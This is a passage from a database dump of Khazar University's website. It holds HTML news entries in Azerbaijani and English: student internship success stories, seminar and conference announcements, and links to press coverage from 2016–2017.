uğurlar!</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Elnur Badalov<br></strong>\r\nMaliyyə,tələbə.Təcrübə: Damir Bank Open Joint-Stock Company</p>\r\n<p style=\"text-align:justify\">Təhsilimi 2012-ci ildə Xəzər Universitetində davam etdirən\r\nzaman hiss edirdim ki,böyük imkanlar məni&nbsp;gözləyir.Universitetə qəbul imtahanı zamanı adi orta məktəb tələbəsi kimi öz\r\narzularım və planlarım&nbsp;haqqında ətraflı məlumatım yox idi. Həqiqətən, orada istifadə etmək və uğur əldə\r\netmək üçün böyük&nbsp;imkanlar var idi,lakin başlanğıcda şagirdlərin əksəriyyəti mənim kimi bu fürsətləri\r\nbaşa düşə və istifadə&nbsp;edə bilmir.<br>\r\nƏsas önəmli məqamlar bzim universitetimizdə təqdim edilir.Əvvəla,bizim\r\nböyük,durmadan çalışan və&nbsp;yorulmayan Peşə İnkişaf Mərkəzimiz və onun tələbkar rəhbəri Ülviyyə Hüseynova\r\nvar.Bundan&nbsp;əlavə,bizim asanlıqla toplaşa bilən,müzakirələr apara bilən və özünü-inkişaf\r\nyollarını öyrənə bilən böyük&nbsp;auditoriyamız var.Xəzər Universiteti İqtisadiyyat və Menecment fakultəsi tələbəsi\r\nolaraq mənim üçün&nbsp;arzularını gerçəkləşdirməyin yolu çox çalışmaqdır.Bu yolla öz yolunuzda\r\nparlayacaq və digərlərindən&nbsp;<br>\r\nseçiləcəksiniz.Bundan əlavə,biz öz xas keyfiyyətlərimizi reallaşdırırq və\r\nonlarla tanış olaraq gələcəyimizə&nbsp;addımlayırıq.Onda əminliklə deyəcəksiniz: “Qoyun gerçəkləşsin! Başlanğıcda\r\nharada idim və indi&nbsp;haradayam!<br>\r\nNəhayət, üçüncü kursa keçməyimə baxmayaraq hazırda Demir Bankın Maliyyə\r\nDepartamentində&nbsp;təcrübəçi kimi çalışıram.Xəzər Universitetinin Peşə İnkişaf Mərkəzi tərəfindən\r\nkeçirilən üz-üzə görüş və&nbsp;online şəkildə ora müraciət etdim.Nəticədə,imtahan verdim və onu uğurla\r\nkeçdim.Dahası,bunu panel&nbsp;müsahibə izlədi və Maliyyə Departamentinin sədri təcrübə proqramı vəzifələrinə\r\nməni və digər 4&nbsp;həmkarımı seçdi.Maraqlısı o idi ki,mən təcrübə proqramına 360 namizəd arasından\r\nseçilmişdim.Bir&nbsp;<br>\r\nsözlə,mən öz hədəfimə nail oldum-dəyərli dostluqlarımı pozmadan çox çalışaraq\r\nkaryerama start&nbsp;verdim.Əldə edilə biləcək arzularınızı təqib edin və onları reallaşdırın.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Nuranə Quluzadə<br></strong>\r\nİngilis dili.Tələbə.İş: Assistant, Fireworks Azərbaycan</p>\r\n<p style=\"text-align:justify\">Adım Nuranə Quluzadədir.18 yaşım var.Bu tədbir üçün təlim\r\nalıram. FireWorks şirkə tini bəyənirdim və&nbsp;sonra onların bir assistant ehtiyacı olduğunu eşitdim.Ona müraciət etdim və\r\nmüsahibə verdim.&nbsp;Digər&nbsp;qızlarla birgə seçildim və bizə bildirdilər ki,3 həftə sonra onlar bizim\r\naramızda ən yaxşısını seçəcəklər.&nbsp;Bu&nbsp;məni çox sevindirdi.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Anar Abıyev<br></strong>\r\nKomputer Elmləri Mühəndisliyi,tələbə.İş: Computer Science Engineering, Student,\r\nJob: təlimatçı,&nbsp;<br>\r\nAZNEXT</p>\r\n<p style=\"text-align:justify\">Adım Anar Abıyevdir.23 yaşım var.My name is Anar Ibayev. I\r\nam 23.Xəzər Universitetinə daxil olmazdan&nbsp;əvvəl şəbəkə işi ilə təcrübəm vardı və qərara aldım ki,gələcəyimi bu işə həsr\r\nedim. Xəzər Universitetində&nbsp;təcrübədə iştirak etmək təklif edildikdə heç bir fikrim yox idi ki,mən işləməyi\r\nçox istədiyim CISCO&nbsp;tərəfindən seçilə bilərəm.Onlar tərəfindən seçildim və bizə və bizə bildirdilər\r\nki.3 ay sonra onlar bizim&nbsp;aramızda ən yaxşısını seçəcəklər.Mən qarşıdakı təcrübə haqqında hər şeyi\r\nbilirdim və buna görə də onlar&nbsp;mənim içimdəki potensialı gördülər və mən CISCO-nun əmrlərini konfiqurasiya\r\netdikdə&nbsp;təəccübləndilər.Onlar mənə təlimatçı vəzifəsini təklif etdilər. Bu məni çox\r\nsevindirdi.Beləcə,onlarla&nbsp;işləməyə razılaşdım.</p>\r\n<p><strong>Samid Dibirov<br></strong>\r\nNeft&amp;Qaz Mühəndisliyi.Tələbə.Təcrübə: AMEC</p>\r\n<p style=\"text-align:justify\">Təcrübəli mühəndis olmaq üçün öz biliyini təcrübəylə birləşdirmək\r\nlazımdır.Bu məqsədlə mən və dostum&nbsp;təcrübəylə öyrənmək imkanı əldə etmək üçün bu təqaüd proqramına qoşulduq.Mən həqiqətən\r\nbizə belə&nbsp;böyük imkan verdiyinə görə AMEC şirkətinə minnətdaram.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Nasiba Taghiyeva<br></strong>\r\nKönüllü Psixoloq</p>\r\n<p style=\"text-align:justify\">Salam.Adım Nəsibə Tağıyevadır.İxtisasım psixologiyadır.Mən\r\nsizə öz uğur hekayəmi danışmaq&nbsp;istəyirəm.Hal=hazırda Müasir Psixologiya Mərkəzində işləyirəm.Peşə mərkəzi bu\r\niş imkanını tapmaqda&nbsp;mənə böyük kömək göstərdi.Buna görə də Ülviyyə xanıma təşəkkür etmək istəyirəm.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Nilufər Ağazadə<br></strong>\r\nİngilis dili tərcüməçiliyi,Tələbə.İş: Tərcüməçi: Headstart</p>\r\n<p style=\"text-align:justify\">Peşə Mərkəzi sayəsində mən xəyalımdakı işi tapdım.Headstart\r\nInternational mənə Xəzər Universitetində öyrəndiklərimi təcrübəyə tətbiq etmək imkanı verdi.Burada təcrübə keçmək çox önəmlidir.Ümid\r\nedirəm&nbsp;ki,bu mənim dil qabiliyyətimi inkişaf etdirməyə kömək edəcək.Öz ixtisasımda mütəxəssis\r\nolmaq mənim&nbsp;ilk hədəfimdir.Bu çox gözəl haldır ki,bizim universitetdə tələbələr öz\r\nixtisasları ilə bağlı iş imkanları əldə&nbsp;edirlər.Hər şey üçün minnətdaram.Və indi siz də öz gələcəyinizə fayda vermək və\r\nböyük karyera qurmaq&nbsp;istəyirsizsə sadəcə aktiv olun və inanın.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Nurlan Ismayilov<br></strong>\r\nİqtisadiyyat,Tələbə.İş: Mühasibat mütəxəssisi, Parabank</p>\r\n<p style=\"text-align:justify\">Bu çox gözəl haldır ki,bizim universitetdə tələbələr öz\r\nixtisasları ilə bağlı iş imkanları əldə edirlər.Mən də&nbsp;o tələbələrdən biriyəm.Mən dəfələrlə CV-mi göndərməyə çalışdım,lakin müraciətimə\r\nheç bir cavab ala&nbsp;bilmədim və təklif edilən işlər isə mənə uyğun deyildi.Peşə Mərkəzinin İş\r\nElanlarını izləməyə başladım və&nbsp;qərara gəldim ki öz CV-mi mümkün vakansiyalara göndərim.Mən və digər tələbələr\r\nParabankın iş&nbsp;imkanlarına müraciət etdik.Mən imtahan və müsahibə mərhələsini uğurla keçdim.Və\r\nnəticədə hal-hazırda Parabankın Mühasibat Departamentində təcrübədəyəm.Özünüzə inanın.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Fatimə Bayramova<br></strong>\r\nİngilis dili tərcüməciliyi,Tələbə.İş: Baku Languages and Business School (BLBS)</p>\r\n<p style=\"text-align:justify\">Smithsonian jurnalına görə “hər uğur hekayəsinin arxasında\r\nutandırıcı ilk səy,səhv,çatışmazlıq və radikal&nbsp;istiqamət dəyişikliyi var.Uğurlu birini gördükdə,həmişə təsəvvür edirdim\r\nki,onlar dahidirlər və bu uğur da&nbsp;onların dahiliyinin qaçınılmaz,təbii nəticəsidir və onlar böyük şeylər üçün\r\ndoğulublar. Mən həmişə deyirdim ki,heç vaxt onlar kimi ola bilmərəm.Mən hazırda 1-ci kurs tələbəsiyəm.Lakin&nbsp;işləməyi çox sevirəm.Bə buna görə də vakansiyaları axtarmağa başladım.Özümə\r\nuyğun olan hər&nbsp;<br>\r\nvakansiyaya baxdım,onlardan bəzilərini seçdim və öz CV-mi göndərdim.Lakin\r\nonlardan heç bir cavab&nbsp;almadım.Ümidimi itirdim və fikirləşdim ki, “nə edə bilərəm?” Sonra öz bacarıqlarımı inkişaf etdirmək qərarına gəldim.Əvvəllər öyrəndiyimdəm\r\ndaha çox öyrənməyə və&nbsp;müsbət düşünməyə başladım,qərarlarımı dəyişdim.Bundan sonra başa düşdüm ki,çox\r\naz uğurlu inshan&nbsp;<br>\r\nuşaqlıqdan dahi olur və dahilər heç də uğuru tapa bilmirlər\r\n(Smithsonian). Mən yenidən iş axtarmağa&nbsp;başladım,lakin indi nə istədiyim bilirəm.Bir aydan sonra onlar mənə cavab\r\nverdilər.İndi mənim yaxşı bir&nbsp;işim var;yaxşı bir gələcək üçün öz bacarıqlarımı inkişaf etdirmək imkanlarım\r\nvar.Öz Peşə Mərkəzimizə&nbsp;buna görə minnətdaram.Sözsüz ki onlar olmadan mən buna nail ola bilməzdim.Onlar\r\nmənə çox kömək&nbsp;etdilər.Hər şey üçün minnətdaram.Və indi siz də öz gələcəyinizə fayda vermək və\r\nböyük karyera qurmaq&nbsp;istəyirsizsə sadəcə aktiv olun və inanın.</p>'),(3328,1954,'en','Announcements','Announcements',''),(3329,1954,'az','Elanlar','Elan',''),(3198,1886,'az','“Gənc Psixoloqların I Debat Çempionatı” layihəsi başa çatdı','2017-ci il fevralın 4-də Xəzər Universitetində Azərbaycan Respublikasının Prezidenti yanında Gənclər Fondunun 8-ci qrant müsabiqəsinin qaliblərindən biri olan Nərgiz...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2017-ci il fevralın 4-də Xəzər Universitetində Azərbaycan\r\nRespublikasının Prezidenti yanında Gənclər Fondunun 8-ci qrant müsabiqəsinin\r\nqaliblərindən biri olan Nərgiz Allahquluzadənin rəhbərliyi ilə həyata keçirilən\r\n“Gənc Psixoloqların I Debat Çempionatı” layihəsinin yekun mərhələsi baş tutdu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Çempionat günü əvvəlcə hakimlər tərəfindən püşkatma həyata\r\nkeçirildi, komandalar qruplara bölündü, təsdiq və inkar oynayacaq komandalar\r\nayrıldı. Komanda görüşlərindən sonra qrupdan çıxan komandalar püşkatma ilə\r\noynayacaqları mövqelər müəyyən edildi. Yarımfinalda qarşılaşan 4 komandanın\r\ngərgin mübarizəsindən sonra final mərhələsində “Legion 13” komandası ilə\r\n“Komanda” komandası arasındakı qarşılaşmada “Komanda” komandası Gənc\r\nPsixoloqların I Debat Çempionatının qalibi adını qazandı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Çempionatın sonunda qalib komanda kubokla, qalib komanda\r\nüzvləri birincilik medalı və sertifikatla, çempionatda ikinci olan komanda\r\nüzvləri “Finalçı” sertifikatı ilə, altı nəfər spiker “Ən yaxşı spiker”\r\nsertifikatı ilə, bir nəfər hakim “Ən yaxşı hakim” sertifikatı ilə, qalan bütün\r\niştirakçılar isə “İştirakçı” sertifikatı ilə təltif edildilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Qeyd edək ki, Azərbaycan Respublikasının Prezidenti yanında\r\nGənclər fondunun maliyyə dəstəyi ilə həyata keçirilən “Gənc Psixoloqların I\r\nDebat Çempionatı” layihəsi 3 ay müddətində keçirildi və layihənin icrasında\r\nlayihə rəhbəri Nərgiz Allahquluzadəyə təşkilati işlərdə Debat Vətəndaş\r\nCəmiyyəti (DVC) və Gənc Psixoloqlar İctimai Birliyi (GPB), çempionatın\r\nkeçirilməsində isə Xəzər Universiteti dəstək oldu.</p>'),(3200,1885,'en','Training Seminar to be held at Khazar University ','On February 24, 2017 from 15:00 to 17:00, Khazar University will hold a seminar titled “Benefits of Internship Programs in Career Development”...','<p>On February 24, 2017 from 15:00 to 17:00, Khazar University\r\nwill hold a seminar titled “Benefits of Internship Programs in Career\r\nDevelopment”. The two-hour seminar will take place in room 205 (old building) on\r\nthe Neftchilar Campus. </p>\r\n<p>For registration, please send an email to <a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a>or call us at\r\n(+99412) 421-79-16 (ext.212).\r\nAlternatively, you can visit University Career Center Office (room 211, old\r\nbuilding).&nbsp;</p>'),(3201,1887,'en','Conference celebrating 10 years of State Migration Service in Azerbaijan to be held at Khazar University ','On February 17, 2017 at 10:00, Khazar University and the Sate Migration Service of Azerbaijan will co-host a conference on...','<p>On February 17, 2017 at\r\n10:00, Khazar University and the Sate Migration Service of Azerbaijan will\r\nco-host a conference on “Migration Policy in Azerbaijan: Achievements and\r\nDevelopment Perspectives”. The conference will be held in the Marble Hall on\r\nKhazar University’s Neftchilar Campus.</p>\r\n<p>The conference is open to\r\nthe public.&nbsp;</p>'),(3202,1884,'en','“Education and Media” Conference in Media','The Moderator.az news website ran a story on the conference “Education and Media” held at Khazar University on February...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">The Moderator.az news website ran a story on the conference\r\n“Education and Media” held at Khazar University on February 10, 2017.<o:p></o:p></p><p>The article is available at the following link:</p><p><a href=\"http://www.moderator.az/news/168648.html\">http://www.moderator.az/news/168648.html</a>.</p>'),(3069,1810,'en','Entrance Exams for Doctoral Programs at Khazar University Begin','Entrance exams for PhD programs in 16 fields at Khazar University were held on January 9, 2017.  The candidates who passed the first stage will take their next exam...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Entrance exams for PhD programs in 16\r\nfields at Khazar University were held on January 9, 2017.&nbsp; The candidates who passed the first stage\r\nwill take their next exam in philosophy on January 12, 2017.</p>'),(3070,1811,'az','“Xarici dil dərslərində interaktiv təlim metodları” adlı seminar keçiriləcək','2017-ci il aprelin 14-ü və 15-də saat 09:00-dan 17:00-a qədər Xəzər Universitetinin və Estoniyanın OÜ Lingatore təşkilatının birgə əməkdaşlığı ilə məşhur...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil aprelin 14-ü və 15-də saat 09:00-dan 17:00-a qədər Xəzər Universitetinin və\r\nEstoniyanın <strong><em>OÜ Lingatore</em></strong> təşkilatının birgə əməkdaşlığı ilə məşhur “<em>English Language Portfolio</em>” proqramı əsasında\r\n“Xarici dil dərslərində interaktiv təlim metodları” adlı iki günlük seminar təşkil\r\nolunacaq. Seminar universitetin “Neftçilər” korpusunda keçiriləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Seminar\r\nali və orta məktəblərdə dərs deyən ingilis dili müəllimləri və xarici dil dərslərinin\r\ntədrisi ilə maraqlanan digər şəxslər üçün nəzərdə tutulur. Seminarda praktik\r\nnümunələr və rollu oyunlar əsasında müəllimlərə konkret, praktik fəal tədris metodlarının\r\ntətbiq edilməsi yolları, müxtəlif mövzulara və həmçinin, yaş həddinə\r\nuyğunlaşdırılmış fəal tədris metodları və digər metodlar öyrədiləcək. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Seminarda\r\niştirak ödənişsizdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;İştirak etmək istəyənlərin 2017-ci il martın\r\n31-nə qədər qeydiyyat üçün müraciət etməsi xahiş olunur: Ülkər Bayramova (Xəzər\r\nUniversiteti İnkişaf Mərkəzinin əməkdaşı), E-mail: <a href=\"mailto:ubayramova@khazar.org\">ubayramova@khazar.org</a>, Telefon: (+ 99412) 421 10 93 (249 daxili).</p>'),(3067,1809,'en','Examinations at Khazar','We present to you photos from our current examination session...','<p>We present to you photos from our current examination session.&nbsp;</p>'),(3068,1810,'az','Xəzər Universitetində doktoranturaya növbəti qəbul başladı','2017-ci il yanvarın 9-da Xəzər Universitetində 16 ixtisas üzrə doktoranturaya qəbul imtahanı keçirildi. Birinci mərhələdən keçən namizədlər yanvarın 12-də...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il yanvarın 9-da Xəzər Universitetində 16 ixtisas üzrə\r\ndoktoranturaya qəbul imtahanı keçirildi. Birinci mərhələdən keçən namizədlər yanvarın\r\n12-də “Ümumi fəlsəfə” fənnindən keçiriləcək imtahanda iştirak edəcəklər.</p>'),(3538,2077,'en','Professor Hamlet Isakhanli was Awarded ','On April 14, 2017, Professor Dusen Kaseinov, the chairman of TURKSOY-The International Organization of Turkic Culture met with Professor Hamlet Isaxanli, the founder...','<p>On April 14, 2017, Professor Dusen Kaseinov, the chairman of\r\nTURKSOY-<em>The\r\nInternational Organization</em>&nbsp;of\r\nTurkic&nbsp;<em>Culture</em>&nbsp;met with Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees.&nbsp;</p>\r\n<p>Hamlet Isakhanli was awarded a medal- “In commemoration of the&nbsp;<em>25th Anniversary of the Independence</em>&nbsp;of Azerbaijan, Kazakhstan, Kyrgyzstan,\r\nUzbekistan and Turkmenistan “by Dusen Kuseinov.</p>'),(3539,2082,'en','Romanian Ambassador to Azerbaijan Visits the Department of Political Science and International Relations','On April 18, 2017, H.E. Mr. Dan Iancu Ambassador Extraordinary and Plenipotentiary of Romania to Azerbaijan paid a courtesy visit to the Department of Political Science...','<p>On April 18, 2017, H.E. Mr. Dan\r\nIancu Ambassador Extraordinary and Plenipotentiary of Romania to Azerbaijan\r\npaid a courtesy visit to the Department of Political Science and International\r\nRelations of Khazar University. The ambassador Iancu gave information about the\r\nforthcoming Romanian-Azerbaijani Education Forum to be organized in May. Dr.\r\nMukhtar Hajizada, Jean Monnet Chair and the Head of the Department informed the\r\nambassador about the degree programs offered by the university. He also asked\r\nthe ambassador to distribute the information about the Khazar University\r\nScholarship program among the Romanian university students. The necessity of\r\nacademic and student exchanges was mentioned by the meeting participants. The\r\nDiplomatic Counselor of the Embassy Mrs. Mihaela Iancu and the Coordinator of\r\nthe Department Mr. Elmar Mustafayev also took part in the meeting.</p>'),(3027,1790,'az','“Xəzər”in keçmiş əməkdaşı rektor əvəzi oldu','Vaxtilə Xəzər Universitetində rektor assitenti, department müdiri və dekan vəzifələrində çalışmış professor Əfqan Abdullayev Azərbaycan Dillər Universitetində...','<p>Vaxtilə Xəzər Universitetində rektor assitenti, department müdiri və dekan vəzifələrində çalışmış professor Əfqan Abdullayev Azərbaycan Dillər Universitetində sentyabrdan Tədris işləri üzrə prorektor vəzifəsini, dekabrdan isə universitetin rektor əvəzi vəzifəsinin icrasını yerinə yetirir.</p><p>Professor Abdullayev Azərbaycan Dillər Universitetində təhsil almışdır. O, 1995-1999-cu illərdə ABŞ-da Minnesota Universitetində magistr dərəcəsi üzrə təhsil almışdır. 1999-cu ildə Azərbaycan Milli Elmlər Akademiyasının Nəsimi adına Dilçilik İnstitutunun doktoranturasına qəbul olmuşdur. 2000-ci illərin əvvəllərində ABŞ-ın Harvard və Florida Beynəlxalq universitetlərində əzəmiyyətdə olmuşdur.&nbsp;</p><p>Ə.Abdullayev 6 dərsliyin və 100-dən çox elmi məqalənin müəllifdir.&nbsp;</p>'),(3026,1789,'az','Təsisçi tərcümə sənətindən danışdı','2016-cı ildekabrın 27-də XəzərUniversitetinintəsisçisi, Direktorlarvə Qəyyumlar ŞurasınınsədriprofessorHamlet İsaxanlı Azərbaycan Dillər Universitetinin Tərcümə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı ildekabrın\r\n27-də XəzərUniversitetinintəsisçisi, Direktorlarvə Qəyyumlar ŞurasınınsədriprofessorHamlet\r\nİsaxanlı Azərbaycan Dillər Universitetinin Tərcümə kafedrasının 50 illik\r\nyubleyində iştirak etdi. Paneldə iştirak edən Professor İsaxanlı tərcümə sənəti\r\nhaqqında danışdı.&nbsp;</p>'),(3534,2043,'en','Khazar Graduate Talks about Ways of Successful Career','On April 7, 2017, Rasim Adjalov, the graduate of Khazar University, business consultant, founder of companies \'Young Business Factory\', \'Oley. az\', \'Georgia Sweet House\', and...','<p>On April 7, 2017, Rasim\r\nAdjalov, the graduate of Khazar University, business consultant, founder of\r\ncompanies \'Young Business Factory\', \'Oley. az\', \'Georgia Sweet House\', and\r\n\'Cool Business\' was interviewed by qaynarinfo.az. &nbsp;The interview is\r\navailable through the following link:</p>\r\n<p><a href=\"http://az.qaynarinfo.az/news-24-yanda-4-irkt-yaradan-azrbaycanl-gnc-t110556.html.\">http://az.qaynarinfo.az/news-24-yanda-4-irkt-yaradan-azrbaycanl-gnc-t110556.html.</a></p>'),(3535,2080,'en','Professor Habil Mammadov in the 1st International Forum of Caucasus Studies Scholars ','On April 17-18, 2017, Prof. Habil Mammadov, instructor of the department of History and Archeology at Khazar University participated in the 1st International Forum of Caucasus...','<p><span style=\"font-weight:normal\">On\r\nApril 17-18, 2017, Prof. Habil Mammadov, instructor of the department of\r\nHistory and Archeology at Khazar University participated in the 1st\r\nInternational Forum of Caucasus Studies Scholars held in Baku with the\r\ncoordiantion of the the Presidium of Azerbaijan National Academy of Sciences\r\n(ANAS) and the Institute of the Caucasus Studies. He gave a presentation on \"Poland policy in the South Caucasus\" and\r\npresided the meeting of the XII section.&nbsp;</span></p>'),(3030,1790,'en','Former Khazar Employee Becomes AUL Acting Rector','Professor Afgan Abdullayev, who served at various times as Khazar University’s Rector Assistant, Department Chair and Dean, became Vice Rector for Academic...','<p>Professor Afgan Abdullayev, who served at various times as Khazar University’s Rector Assistant, Department Chair and Dean, became Vice Rector for Academic Affairs of Azerbaijan University of Languages in September and then Acting Rector of the university in December.&nbsp;</p><p>Professor Abdullayev completed his bachelor’s at Azerbaijan University of Languages. He completed his master’s degree at Minnesota University, USA, in 1995-1999. He was admitted to the Nasimi Linguistics Institute of Azerbaijan National Academy of Sciences in 1999 where he completed his doctoral studies. He also visited Harvard and Florida International Universities in the USA in the early 2000s.</p><p>A. Abdullayev is the author of 6 textbooks and over 100 scholarly articles.&nbsp;</p>'),(3028,1788,'az','“Xəzər”in əməkdaşı Türkiyədə simpoziumda iştirak etdi','2016-cı il dekabrın 24-dən 26-dək Türkiyədə İstanbul Universitetində Beynəlxalq Tələbə Simpoziumu keçirildi. Tədbirdə Xəzər Universitetini İngilis dili və ədəbiyyatı...','<p>2016-cı il dekabrın 24-dən 26-dək Türkiyədə İstanbul Universitetində Beynəlxalq Tələbə Simpoziumu keçirildi. Tədbirdə Xəzər Universitetini İngilis dili və ədəbiyyatı kafedrasının sədr müavini Eynur Mehdiyev təmsil edirdi. Simpoziumun digər iştirakçıları arasında Türkiyənin millət vəkilləri, İstanbul Universitetinin rektoru, Beynəlxalq Tələbə Assosiasiya Federasiyanın direktoru, müxtəlif ölkələrdən tədqiqatçılar, universitet mühazirəçiləri və Türkiyədə oxuyan beynəlxalq tələbələr var idi.</p><p>E.Mehdiyev simpoziumda “Azərbaycan Respublikasından olan beynəlxalq tələbələrin ingilis dili fəaliyyətlərində üzləşdikləri çətinliklər” mövzusunda təqdimat keçirdi.&nbsp;</p>'),(3029,1789,'en','Founder Speaks about Translation','On December 27, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, participated in the 50th Anniversary...','<p>On December 27, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, participated in the 50th Anniversary of the Translation Department at Azerbaijan University of Languages. He participated in a panel at the event and made a presentation about profession of translation.</p>'),(3031,1791,'az','Türkiyə Cümhurbaşqanının Baş danışmanı Azərbaycanda mükafat aldı','Xəbər verildiyi kimi, 2016-cı il dekabrın 25-də “Borçalı” İctimai Cəmiyyətinin 31 Dekabr –Dünya Azərbaycanlılarının Həmrəyliyi Günü münasibətilə keçirdiyi tədbirdə...','<p>Xəbər verildiyi kimi, 2016-cı il dekabrın 25-də “Borçalı” İctimai Cəmiyyətinin 31 Dekabr –Dünya Azərbaycanlılarının Həmrəyliyi Günü münasibətilə keçirdiyi tədbirdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Türklüyə xidmət” mükafatına layiq görülmüşdür.Təltif olunanlar arasında Türkiyə Cümhurbaşqanının Baş danışmanı Yalçın Topçu da var idi.</p><p>Bu haqda geniş məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;<a href=\"http://www.tezadlar.az/manset/20447-trkiynin-mdniyyt-naziri-boralnn-bayram-tdbirind.html.\">http://www.tezadlar.az/manset/20447-trkiynin-mdniyyt-naziri-boralnn-bayram-tdbirind.html.</a></p>'),(3032,1792,'az','Tələbələrin “yolkası” mətbuatda','A24.az xəbər saytı Xəzər Universitetində keçirilən “Spagetti körpü” yarışmasında tələbələrin spagetti çubuqlarından “yolka” ağacı qurumasını “dünyada ilk! Hamı azərbaycanlı...','<p>A24.az xəbər saytı Xəzər Universitetində keçirilən “Spagetti körpü” yarışmasında tələbələrin spagetti çubuqlarından “yolka” ağacı qurumasını “dünyada ilk! Hamı azərbaycanlı tələbələrin düzəltdiyi yeni il ağacından danışır” adlı yazı və fotolarla izləyicilərə çaqtdırmışdır.&nbsp;</p><p>Bu haqda geniş məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;<a href=\"http://a24.az/dunyada-ilk-hami-azerbaycanli-telebelerin-duzeltdiyi-yeni-il-agacindan-danisir-foto/\">http://a24.az/dunyada-ilk-hami-azerbaycanli-telebelerin-duzeltdiyi-yeni-il-agacindan-danisir-foto/</a>.&nbsp;</p>'),(3033,1793,'az','Xəzər Universitetinin məzunları “Marketinq Azərbaycan” qrupunda','Facemark.az saytı “Marketinq Azərbaycan” qrupu üzvlərinin bitiridiyi univeristetlərin siyahısını dərc etmişdir. Siyahıda Xəzər Universiteti də yer alır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><strong><em>Facemark</em></strong><strong>.<em>az</em></strong> saytı “Marketinq Azərbaycan” qrupu üzvlərinin\r\nbitiridiyi univeristetlərin siyahısını dərc etmişdir. Siyahıda Xəzər\r\nUniversiteti də yer alır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bu\r\nhaqda geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p style=\"margin-bottom:.0001pt\"><a href=\"http://facemark.az/index/news/marketinq-azerbaycan-qrupu-uzvlerinin-bitiridiyi-univeristetler-ii-yazi-7056\">http://facemark.az/index/news/marketinq-azerbaycan-qrupu-uzvlerinin-bitiridiyi-univeristetler-ii-yazi-7056</a>.&nbsp;</p>'),(3536,2076,'en','Hamlet Isaxanli Speaks  at the International Conference','On April 17, 2017 international conference ,entitled  \"National and Cultural Identity in the Post-Soviet Azerbaijan\" was held at Baku Slavic University.Professor Hamlet Isaxanli, the...','<p>On April 17, 2017 international conference ,entitled &nbsp;\"National and Cultural Identity in the Post-Soviet\r\nAzerbaijan\" was held at Baku Slavic University.Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and chairman of its &nbsp;Board of\r\nDirectors and Trustees also took part in opening and plenary sessions of the\r\nconference. Professor Hamlet Isakhanli conducted the panel after a break and\r\nmade a presentation on\r\n\"Historical Stages of the National Identity of Azerbaijan\".</p>'),(3537,2081,'az','“GR8” şirkəti Xəzər Universitetinin tələbələri üçün təlim keçirdi','2017-ci il aprelin 17-də “GR8” şirkəti Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin tələbələri üçün peşəkar e-mail yazma qaydaları mövzusunda təlim...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il aprelin 17-də “GR8” şirkəti Xəzər Universiteti Siyasi elm\r\nvə beynəlxalq münasibətlər departamentinin tələbələri üçün peşəkar e-mail yazma\r\nqaydaları mövzusunda təlim keçirdi. Təlim “GR8” şirkətinin həmtəsisçisi və “Fairmont\r\nBaku” otelinin təlim meneceri Aygün Novruzova tərəfindən keçirildi. İnteraktiv\r\nşəkildə keçirilən təlimdə tələbələrə əsasən e-mail yazarkən əməl olunmalı\r\nqaydalar və ən çox rast gəlinən səhvlər izah edildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qeyd edək ki, sözügüdən təlim Xəzər Universiteti Siyasi elm və beynəlxalq\r\nmünasibətlər departamentinin təşkil etdiyi 10 həftəlik İşgüzarlıq və Peşəkar\r\nBacarıqların İnkişafı üçün Təlim Proqramının tərkib hissəsi olaraq baş tutdu.</p>'),(3372,1982,'az','1 news.az saytında məzunumuz haqqında məqalə','Martın 10-da 1 news.az saytında 2003-cü ildə Xəzər universitetinin İqtisadiyyat və menecment fakültəsini beynəlxalq iqtisadi münasibətlər ixtisası 